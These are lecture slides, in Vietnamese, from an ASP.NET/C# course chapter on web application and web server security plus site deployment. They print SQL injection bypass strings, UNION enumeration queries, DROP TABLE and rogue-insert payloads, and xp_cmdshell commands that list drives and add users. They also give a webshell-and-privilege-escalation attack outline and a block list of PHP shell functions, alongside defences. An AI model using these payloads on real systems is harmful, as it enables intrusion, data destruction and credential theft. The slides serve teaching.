Giảng Viên: Th.S Phạm Đào Minh Vũ 
Email: 
[email protected] 
1 
LẬP TRÌNH WEB ASP.NET VỚI C# 
388 
Trường CĐ CNTT TpHCM 
 Chương 9 
Bảo mật và Quản Trị Website 
1. Bảo mật Website 
2. Quản trị Website 
389 
9.1 BẢO MẬT WEB 
Khoa CNTT Trường CĐ CNTT TP.HCM Written by: Phạm Đào Minh Vũ 
 Bảo mật ứng dụng Web 
 Bảo mật Web Server 
390 
9.1.1 Giới thiệu chung 
 Khi triển khai ứng dụng Web, người ta thường chỉ chú 
trọng vào giao diện, tính ứng dụng, tốc độ (bao gồm 
tốc độ xử lý và băng thông),  mà quên mất rằng độ 
bảo mật của ứng dụng và web server mới là điều quan 
trọng mang tính sống còn đối với 1 doanh nghiệp 
Một khi ứng dụng web ngày càng mở rộng thì khả 
năng xuất hiện lỗi và bị tấn công càng cao 
 Các cuộc tấn công mang nhiều mục đích khác nhau, 
có thể là đánh cắp thông tin, phá hoại hoặc đôi khi chỉ 
là đùa giỡn. 
Khoa CNTT Trường CĐ CNTT TP.HCM Written by: Phạm Đào Minh Vũ 
391 
 Khi nói đến vấn đề bảo mật, các chuyên gia đều chú 
trọng đến sự an toàn của hệ thống mạng và hệ điều 
hành. Tuy nhiên, theo thống kê thì hơn 70% các cuộc 
tấn công là thông qua Internet (lợi dụng lỗ hổng bảo 
mật) và giá trị thiệt hải ước tính hàng tỷ USD mỗi năm 
 Kẻ tấn công (Hacker) thường lợi dụng lỗ hổng bảo mật 
của phần cứng lẫn phần mềm, cài đặt virus, worm, 
trojan, lỗi nghiệp vụ của lập trình viên,  để thực hiện 
các cuộc tấn công. 
Khoa CNTT Trường CĐ CNTT TP.HCM 
392 
Khoa CNTT Trường CĐ CNTT TP.HCM 
393 
9.1 BẢO MẬT ỨNG DỤNG WEB 
Khoa CNTT Trường CĐ CNTT TP.HCM Written by: Phạm Đào Minh Vũ 
 Là 1 dạng tấn công phá hoại, mục tiêu là các ứng 
dụng Web trên Server 
Mục đích của việc tấn công có thể là do phá hoại, 
đánh cắp thông tin, thay đổi nội dung website,  
394 
9.2.1. Lỗ hổng bảo mật ứng dụng web 
 SQL-injection 
 HTTP Response Splitting 
 Directory Traversal 
 Cross Site Scripting (XSS) 
 File Inclusion 
 Buffer Overflow 
 
Khoa CNTT Trường CĐ CNTT TP.HCM 
395 
1 SQL-INJECTION 
 Tấn công SQL injection là hình thức tấn công chèn các 
đoạn mã SQL cho phép khai thác lỗ hổng bảo mật tồn 
tại trong cơ sở dữ liệu của một ứng dụng 
 Chiếm hơn 50% các cuộc tấn công vào website 
 CSDL: 
 Access 
 MSSQL 
 MySQL 
 Oracle 
  
 Mức độ nguy hiểm: 
 Truy vấn vào CSDL của website 
 Thay đổi thông tin: thêm, xóa, sửa 
 Chiếm quyền admin của website 
 Thực thi các lệnh hệ thống 
 Làm cơ sở cho các loại tấn công khác: Local, virus, 
trojan, backdoor, DDoS, Proxy  
Khoa CNTT Trường CĐ CNTT TP.HCM 
396 
2.1. SQL-INJECTION – Các dạng tấn công 
1. By pass : bằng pass 
Code: trang Login.aspx.cs 
String vUsrName, vPassword; 
vUsrName = Request.Form("fUSRNAME") 
vPassword = Request.Form("fPASSWORD") 
strSQL = "SELECT * FROM T_USERS WHERE 
 USR_NAME=' " & vUsrName & _ " ' and 
 USR_PASSWORD=' " & vPassword & " ' " 
Khoa CNTT Trường CĐ CNTT TP.HCM 
397 
1 SQL-INJECTION 
Khoa CNTT Trường CĐ CNTT TP.HCM 
User: admin & Pass: 123 
User: abc‟ or 1=1 or 1=„‟& 
Pass: def‟ or 1=1 or 1=„‟ 
SELECT * FROM users WHERE 
user=„admin‟ AND pass=„123‟ 
SELECT * FROM users WHERE 
user=„abc‟ or 1=1 or 1=„‟ AND 
pass=„def‟ or 1=1 or 1=„‟ 
Luôn luôn đăng nhập được 
398 
2.1. SQL-INJECTION – Các dạng tấn công 
Các dạng truy vấn: 
' or 1=1-- 
' or 1=1# 
' or 1=1/* 
') or '1'='1-- 
') or ('1'='1-- 
Khoa CNTT Trường CĐ CNTT TP.HCM 
' or 1=1-- 
" or 1=1-- 
or 1=1-- 
' or 'a'='a 
" or "a"="a 
') or ('a'='a 
399 
2.1. SQL-INJECTION – Các dạng tấn công 
2. Sử dụng câu lệnh SELECT 
Kẻ tấn công phải có khả năng hiểu và lợi dụng 
sơ hở trong các thông báo lỗi từ hệ thống để 
dò tìm các yếu điểm. 
Ví dụ: 
Câu truy vấn : 
strSQL = "SELECT * FROM T_NEWS WHERE 
NEWS_ID =" & vNewsID 
=> 
or 1=1 
Khoa CNTT Trường CĐ CNTT TP.HCM 
400 
2.1. SQL-INJECTION – Các dạng tấn công 
3. Sử dụng câu lệnh UNION 
strSQL = "SELECT * FROM T_AUTHORS WHERE 
AUTHOR_NAME =' " & _ vAuthorName & " ' " 
Nhập vào : 
' UNION SELECT ALL SELECT OtherField 
FROM OtherTable WHERE ' '=' . 
Nếu hệ thống báo : invalid object name 
“OtherTable” thì có nghĩa câu truy vấn union đã 
được thực hiện. Việc còn lại là tìm table tương 
ứng để tấn công: 
 ' UNION SELECT name FROM sysobjects 
WHERE xtype = 'U' => trả về tất cả các table 
Khoa CNTT Trường CĐ CNTT TP.HCM 
401 
2.1. SQL-INJECTION – Các dạng tấn công 
Kết hợp với DROP, INSERT 
SELECT * FROM users WHERE username = „ 
'; 
DROP TABLE users; SELECT * FROM DATA 
WHERE „1' = „1‟; 
Hay: 
 SELECT * FROM users WHERE username = „ 
„; Insert into users (id, username, password) 
values (NULL,„firewall‟,‟hacker‟) ; SELECT * 
FROM DATA WHERE „1' = „1‟; 
 Khoa CNTT Trường CĐ CNTT TP.HCM 
402 
2.1. SQL-INJECTION – Các dạng tấn công 
4. Sử dụng Store Procedure 
Dạng tấn công sử dụng stored-procedures 
 master..xp_cmdshell to perform remote 
 a„;exec master..xp_cmdshell “đặt lệnh vào đây” – 
Ping 
a„;exec master..xp_cmdshell “ping 10.10.1.2” -- 
Duyệt cấu trúc 
a„;exec master..xp_cmdshell “dir c:\*.* /s > c:\directory.txt” -- 
Tạo file 
 a„;exec master..xp_cmdshell “echo tuonglua is here > 
c:\hacker.txt” – 
Tạo user 
 a„;exec master..xp_cmdshell “echo net user tuonglua 123 /add” -- 
Khoa CNTT Trường CĐ CNTT TP.HCM 
403 
2.1. SQL-INJECTION – Cách Phòng Chống 
Khoa CNTT Trường CĐ CNTT TP.HCM 
1. Lập trình an toàn 
2. Kiểm tra dữ liệu đầu vào 
- Lọc 
 - ', '',",\',\\'/... 
 - only(a-z, A-Z, 1,2,3...9,0) 
 - key word: select, update, convert, 
like.... 
 - ký tự được chuyển qua html, mssql, 
mysql 
3. Manual error pages 
404 
2.1. SQL-INJECTION – Cách Phòng Chống 
Khoa CNTT Trường CĐ CNTT TP.HCM 
4. Cập nhật công nghệ: 
asp, aspx 
sql2000 > sql2005 
Nâng cấp: IIS, PHP, Apache, Mysql, Mssql 
5. Chặn hàm: 
exec, xp, sp... 
file cmd.exe 
6. Manual database: 
 - default? 
 - quyền sa (mssql) 
 - phân quyền user cho database trên từng table 
7. Tự tấn công 
405 
3. HTTP RESPONSE SPLITTING 
 Lỗi HTTP Response Splitting tấn công vào ứng 
dụng web và diễn ra khi nó không thể xử lý đúng 
các thông tin đầu vào người dùng nhập. 
 Kẻ tấn công từ xa có thể gửi một yêu cầu HTTP 
đặc biệt làm cho máy chủ web định dạng yêu cầu 
nhầm tưởng rằng nó chứa 2 yêu cầu HTTP chứ 
không phải một. 
 Chỉ yêu cầu thứ nhất được xử lý bởi người sử 
dụng. HTTP Response Splitting cho phép tiến 
hành một lượng lớn các cuộc tấn công kiểu như 
web cache poisioning, deface, “cross-user 
defacement”, chặn và ăn cắp thông tin người 
dùng và Cross site Scritpting. 
Khoa CNTT Trường CĐ CNTT TP.HCM 
406 
4. DIRECTORY TRAVERSAL 
 Directory traversal hay còn được biết với một số tên khác 
như “dot-dot-slash”, “Path Traversal”,”directory clumbing” và 
“backtracking” là hình thức tấn công truy cập đến những file 
và thư mục mà được lưu bên ngoài thư mục webroot. 
 Hình thức tấn công này không cần sử dụng một công cụ 
nào mà chỉ đơn thuần thao tác các biến với ../ (dot-dot-slash) 
để truy cập đến file, thư mục, bao gồm cả source code, 
những file hệ thống,  
 Những hàm của những ngôn ngữ lập trình Web có khả năng 
gây lỗi Path Traversal như sau: 
• PHP: include(), include_once(), require(), 
require_once(), fopen(), readfile(), ... 
• JSP/Servlet: java.io.File(), java.io.FileReader(), ... 
• ASP: include file, include virtual, ... 
Khoa CNTT Trường CĐ CNTT TP.HCM 
407 
5. CROSS SITE SCRIPTING 
 Cross-Site Scripting hay còn được gọi tắt là XSS 
(thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-
Cascading Style Sheet của HTML) là một kỹ thuật 
tấn công bằng cách chèn vào các website động 
(ASP, PHP, CGI, JSP ...) những thẻ HTML hay 
những đoạn mã script nguy hiểm có thể gây nguy hại 
cho những người sử dụng khác. 
 Nguyên nhân: cho phép người sử dụng đăng thông 
tin mà không có sự kiểm tra chặt chẽ các đoạn mã 
nguy hiểm 
 Những đoạn mã nguy hiểm đựơc chèn vào hầu hết 
được viết bằng các Client-Site Script như JavaScript, 
JScript, DHTML và cũng có thể là cả các thẻ HTML. 
Khoa CNTT Trường CĐ CNTT TP.HCM 
408 
6. FILE INCLUSION 
 Khi một trang web sử dụng các lệnh include, 
require, để gọi đến một file khác. Và sơ ý để người 
dùng có thể thay đổi file cần gọi đến. Như vậy 
website đó đang đứng trước nguy cơ bị tấn công File 
Inclusion . 
 Nguyên nhân: include, require, require _ once, 
include _ once cho phép file hiện tại gọi đến một file 
khác 
 Tùy vào mức độ bảo mật của Server, hacker có thể 
include đến file trên Server( local include) đó hoặc 
include đến file trên Server khác( remote include). 
Với từng mức độ hacker có thể có nhiều cách để up 
shell . 
Khoa CNTT Trường CĐ CNTT TP.HCM 
409 
7. Các phần mềm tìm lỗ hổng 
 Acunetix Web Vulnerability Scanner 
 HP Scrawlr 
 Urlscan 
 Google 
Khoa CNTT Trường CĐ CNTT TP.HCM 
410 
7. Acunetix Web Vulnerability Scanner 
Khoa CNTT Trường CĐ CNTT TP.HCM 
411 
7. Acunetix Web Vulnerability Scanner 
• Acunetix WVS tự động kiểm tra ứng dụng web, tìm các 
lỗi XSS, SQL Injection, 
• Tường lửa, SSL và locked-down server đều không hiệu 
quả đối với việc hack ứng dụng web 
• Acunetix sẽ kiểm tra ứng dụng web, tìm lỗi code dẫn 
đến lỗi XSS 
• Acunetix cũng kiểm tra các lỗi khác trong những ứng 
dụng web phổ biến như joomla, PHPbb 
• Acunetix giúp xác định file có lỗi XSS, cho phép bạn 
sửa chúng trước hacker phát hiện ra. 
• Ngoài ra, một số tính năng mới kiểm tra mức độ bảo 
mật của website như tự động truy cập và quét SVN, cải 
tiến khả năng kiểm tra Cross-site scripting (XSS) và 
sửa các lỗi khác. 
Khoa CNTT Trường CĐ CNTT TP.HCM 
412 
9.2.2. Lỗ hổng bảo mật Web Server 
 Permission 
 Authentication 
 Local attack 
 DoS, DDoS 
 Backdoor, Trojan, Virus 
 Human 
  
Khoa CNTT Trường CĐ CNTT TP.HCM 
413 
1. Permission 
 Là dạng tấn công dựa vào việc phân quyền User trên 
webserver 
Khoa CNTT Trường CĐ CNTT TP.HCM 
414 
2. Local Attack 
 Là dạng tấn công nội bộ từ bên trong của Webserver 
 Một Webserver sẽ chứa nhiều websites. Nếu website 
mục tiêu khó tấn công, hacker sẽ lợi dụng 1 website 
khác nằm cùng webserver có độ bảo mật thấp hơn để 
tấn công. 
Khoa CNTT Trường CĐ CNTT TP.HCM 
Các bước thực hiện: 
1. Xác định các website cần tấn công. 
2. Xác định các website đặt cùng server với mục tiêu 
3. Tìm cách khai thác một trong các website đặt chung server 
với mục tiêu. Khai thác được 1 trong số các website đó. Tìm 
cách upload webshell hoặc thực thi shell code. 
4. Thành công có webshell, kiểm tra quyền của user hiện tại. 
5. Nếu quyền hiện tại đủ để tấn công mục tiêu. Sang bước 
6. Nếu quyền hiện tại không đủ tấn công, tìm cách leo thang 
đặc quyền. 
7. Đã có đủ quyền, tiến hành đọc file config, tìm user/password. 
8. Kết thúc. 
4
1
5 
Phòng chống 
•safe mode: off -> on 
•Disable functions: 
 system, exec, shell_exec, passthru, pcntl_exec, putenv, 
proc_close, proc_get_status, proc_nice, proc_open, 
proc_terminate, popen, pclose, set_time_limit, ini_alter, virtual, 
openlog, escapeshellcmd, escapeshellarg, dl, curl_exec, 
parse_ini_file, show_source 
Mod security 
•Zend Code :IonCube;phpcipher 
•Antivirus program 
. 
417 
3. Dos-Ddos – Tấn Công Từ Chối Dịch Vụ 
Khoa CNTT Trường CĐ CNTT TP.HCM 
Tấn công từ chối dịch vụ là một loại hình tấn công 
nhằm ngăn chặn những người dùng hợp lệ được sử 
dụng một dịch vụ nào đó. 
418 
3. Dos-Ddos – Tấn Công Từ Chối Dịch Vụ 
Khoa CNTT Trường CĐ CNTT TP.HCM 
 Có năm kiểu tấn công cơ bản sau đây: 
 Nhằm tiêu tốn tài nguyên tính toán như băng thông, dung 
lượng đĩa cứng hoặc thời gian xử lý 
 Phá vỡ các thông tin cấu hình như thông tin định tuyến 
 Phá vỡ các trạng thái thông tin như việc tự động reset lại 
các phiên TCP. 
 Phá vỡ các thành phần vật lý của mạng máy tính 
 Làm tắc nghẽn thông tin liên lạc có chủ đích giữa các 
người dùng và nạn nhân dẫn đến việc liên lạc giữa hai bên 
không được thông suốt. 
Biểu đồ tấn công từ chối dịch vụ 
Phòng chống 
 Phòng ngừa các điểm yếu của ứng dụng 
 Phòng ngừa việc tuyển mộ zombie 
 Ngăn ngừa kênh phát động tấn công sử 
dụng công cụ 
 Ngăn chặn tấn công trên băng thông 
 Ngăn chặn tấn công qua syn 
3. VIRUS 
 Các dạng: 
Phá hoại 
Đánh cắp thông tin 
Chiếm quyền điều 
khiển 
Hỗ trợ cho hoạt 
động khác của 
Hacker 
Đòi tiền chuộc (mới 
– năm 2015) 
 Virus CTB Locker (đòi tiền chuộc) 
 Gứi email có chứa file .exe đến người dùng 
 Âm thầm tiến hành mã hóa các file dữ liệu trong 
máy tính như: .doc, pdf, xls, jpg, zip bằng công 
nghệ “public-key”. 
 Gửi bảng thông báo, yêu cầu chuyển tiền để được 
giải mã 
4. HACKER 
Sử dụng mod_security 
Cài đặt firewall 
Secure Web Server 
(HTTPS) 
Backup (Sao lưu 
định kỳ) 
Không cài đặt mặc định 
Cập nhật phiên bản mới 
Web 
Server 
5. Giải pháp cần thiết bảo mật Webserver 
425 
9.2 QUẢN TRỊ WEB 
Khoa CNTT Trường CĐ CNTT TP.HCM Written by: Phạm Đào Minh Vũ 
 Domain Name & Hosting 
 Triển khai Website 
426 
1. DomainName & Hosting 
1.1 Khái niệm 
Trường CĐ CNTT TpHCM 
1.2 Đăng ký và sử dụng 
1.3 Quản trị 
427 
1.1 Khái niệm 
Trường CĐ CNTT TpHCM 
• Domain Name (tên miền) là một tài nguyên trên Internet để chỉ định 
một địa chỉ của một máy tính hay một hệ thống máy tính nào đó trên 
Internet. (vd : www.abc.com) 
• Tên miền được dùng thay cho địa chỉ IP của máy tính. Mỗi tên miền 
là duy nhất và quản lý bởi tổ chức ICANN. 
• Tại Việt Nam, ta có thể mua các tên miền qua những nhà cung cấp 
đại diện. 
• Hosting (Web Hosting Service) là một dịch vụ Internet, cung cấp 
không gian lưu trữ trên một server và cho phép khách hàng lưu trữ 
website của họ để mọi người có thể truy xuất đến. 
• Khi đăng ký hosting, ta cũng phải cung cấp một Domain Name để 
server phân giải Domain Name với địa chỉ của website. 
428 
1.2 Đăng ký và sử dụng 
Trường CĐ CNTT TpHCM 
• Để đăng ký Domain Name và Host, ta có thể liên lạc với bất kì nhà 
cung cấp nào 
• Các thông tin sau khi đăng ký : 
• Domain name 
• Địa chỉ trang quản trị host 
• Địa chỉ truy cập host bằng ftp 
• Tài toản quản trị host trên website 
• Tài khoản quản trị host trên ftp 
429 
1.2 Đăng ký và sử dụng (tt) 
Trường CĐ CNTT TpHCM 
• Ví dụ : 
• Domain name : www.saoviet.edu.vn 
• Địa chỉ trang quản trị host :  
• Địa chỉ truy cập host bằng ftp : ftp.saoviet.edu.vn 
• Tài toản quản trị host trên website : 
• Username : itc-minhvu 
• Password : 123456 
• Tài khoản quản trị host trên ftp 
• Username : saoviet 
• Password : 123456 
430 
1.3 Quản trị 
Trường CĐ CNTT TpHCM 
• Trang quản trị host : (trang quản trị host của PA VietNam) 
431 
1.3 Quản trị (tt) 
Trường CĐ CNTT TpHCM 
• Quản trị Host bằng FTP (với Total Commander) : 
Tạo kết nối với 
Server bằng FTP 
trong Total 
Commander 
432 
1.3 Quản trị (tt) 
Trường CĐ CNTT TpHCM 
• Quản trị Host bằng FTP (với Total Commander) : 
Các thư mục 
trên Host 
Thư mục www 
chứa website 
(hoặc httpdoc) 
433 
2. Triển khai Website 
Trường CĐ CNTT TpHCM 
• Gồm 3 bước: 
• Tạo CSDL cho Website. 
• Chỉnh sửa chuổi kết nối CSDL trong file Webconfig của Website 
• Upload Website lên Web Server 
434 
2.1. Tạo CSDL 
Trường CĐ CNTT TpHCM 
• Tạo CSDL cho website: 
• Vào trang quản trị host, đến mục quản lý Database. 
• Chọn loại Database muốn tạo (MySQL, SQL Server) 
• Nhập tên CSDL 
435 
Trường CĐ CNTT TpHCM 
• Tạo tài khoản cho CSDL 
436 
Trường CĐ CNTT TpHCM 
• Kết nối đến CSDL bằng SQL Server Management Studio 
437 
Trường CĐ CNTT TpHCM 
• Chạy các script để tạo Table, Store Procedure, Primary key, . 
438 
Trường CĐ CNTT TpHCM 
• Upload website lên Host 
• Mở file web.config và chỉnh lại chuỗi kết nối 
2.2. Chỉnh sửa chuỗi kết nối 
439 
Trường CĐ CNTT TpHCM 
• Upload website lên Host 
• Mở Total Commander (hoặc một chương trình bất kì có thể kết 
nối đến host bằng ftp như FTP Cute, FTP Professional,) 
• Mở kết đến Host, và mở thư mục www (hoặc httpdoc) 
• Copy toàn bộ website từ thư mục trên máy lên host. 
2.3. Upload toàn bộ Website 
440 
Trường CĐ CNTT TpHCM 
441 
Trường CĐ CNTT TpHCM 
• Chạy Website